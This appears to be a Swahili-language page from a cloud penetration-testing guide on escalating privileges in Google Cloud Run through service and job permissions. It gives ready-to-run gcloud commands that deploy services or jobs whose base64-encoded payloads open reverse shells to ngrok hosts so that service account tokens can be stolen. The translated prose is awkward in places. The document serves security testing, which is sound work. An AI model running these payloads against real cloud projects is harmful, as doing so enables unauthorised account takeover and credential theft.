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Cloud Run

Kwa maelezo zaidi kuhusu Cloud Run angalia:

GCP - Cloud Run Enum

`run.services.create` , `iam.serviceAccounts.actAs`, `run.routes.invoke`

Mshambuliaji mwenye ruhusa hizi za kuunda huduma ya run inayotumia msimbo wa kawaida (konteina ya Docker ya kawaida), kuunganisha Akaunti ya Huduma nayo, na kufanya msimbo kuhamasisha tokeni ya Akaunti ya Huduma kutoka kwenye metadata.

Script ya kutumia kwa njia hii inaweza kupatikana hapa na picha ya Docker inaweza kupatikana hapa.

Kumbuka kwamba unapokuwa ukitumia gcloud run deploy badala ya kuunda tu huduma inahitaji ruhusa ya update. Angalia mfano hapa.

`run.services.update` , `iam.serviceAccounts.actAs`

Kama ile ya awali lakini inasasisha huduma:

# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
# cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg==

gcloud run deploy hacked \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg== | base64 -d | bash" \
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
--region=us-central1 \
--allow-unauthenticated

# If you don't have permissions to use "--allow-unauthenticated", dont use it

`run.services.setIamPolicy`

Jipe ruhusa za awali juu ya cloud Run.

`run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)

Zindua kazi na shell ya kurudi ili kuiba akaunti ya huduma iliyoonyeshwa katika amri. Unaweza kupata exploit hapa.

gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNC50Y3AuZXUubmdyb2suaW8vMTIxMzIgMD4mMQ== | base64 -d | bash" \
--service-account="<sa>@$PROJECT_ID.iam.gserviceaccount.com" \
--region=us-central1

`run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)

Kama ilivyo kwa ile ya awali, inawezekana kusaidia kazi na kuboresha SA, amri na kuitekeleza:

gcloud beta run jobs update hacked \
--image=mubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
--region=us-central1 \
--execute-now